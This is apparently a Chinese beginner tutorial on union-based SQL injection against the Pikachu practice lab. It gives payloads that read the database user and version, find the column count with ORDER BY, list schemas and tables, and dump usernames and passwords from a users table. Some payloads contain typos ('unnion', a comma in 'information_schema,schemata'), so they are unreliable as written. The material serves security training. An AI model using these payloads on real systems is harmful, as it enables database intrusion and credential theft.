【新手初学】读取数据库数据

利用注入点让SQL注入语句执行读取数据库数据相关的操作!

以下均以pikachu 靶场的字符型注入为例进行介绍说明

一、读取用户名,数据库版本信息

在原URL后面添加如下代码:

sql 复制代码
   ' union select user(),version()--+

效果:

补充:判断查询的字段个数order by

这时,就需要在相应环境下进行测试判断:主要是使用order by来判断

在后面添加1,2,3,4,5,6....进行测试,直到不再报错 !就判断出了其查询字段个数

如下:

二、读取mysql所有库名

在原URL后面添加如下语句:

sql 复制代码
' union select 1,group_concat(schema_name) from information_schema,schemata+--+

效果:

三、读取pikachu库的所有表名

在原URL后面添加如下语句:

sql 复制代码
'unnion select 1,group_concat(table_name) from information_schema.tables where table_schema=database+--+

效果:

四、读取所有字段数据

在原URL后面添加如下语句:

sql 复制代码
' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users+--+

效果:

相关推荐
影子240114 分钟前
Navicat导出mysql数据库表结构说明到excel、word,单表导出方式记录
数据库·mysql·excel
java_heartLake1 小时前
PostgreSQL15深度解析(从15.0-15.12)
数据库·postgresql
喝拿铁写前端2 小时前
前端与 AI 结合的 10 个可能路径图谱
前端·人工智能
codingandsleeping2 小时前
浏览器的缓存机制
前端·后端
nuc-1273 小时前
sqli-labs学习记录8
数据库·学习·sqli-labs
灵感__idea3 小时前
JavaScript高级程序设计(第5版):扎实的基本功是唯一捷径
前端·javascript·程序员
摇滚侠3 小时前
Vue3 其它API toRow和markRow
前端·javascript
余华余华3 小时前
计算机等级考试数据库三级(笔记3)
服务器·数据库·oracle
難釋懷3 小时前
JavaScript基础-history 对象
开发语言·前端·javascript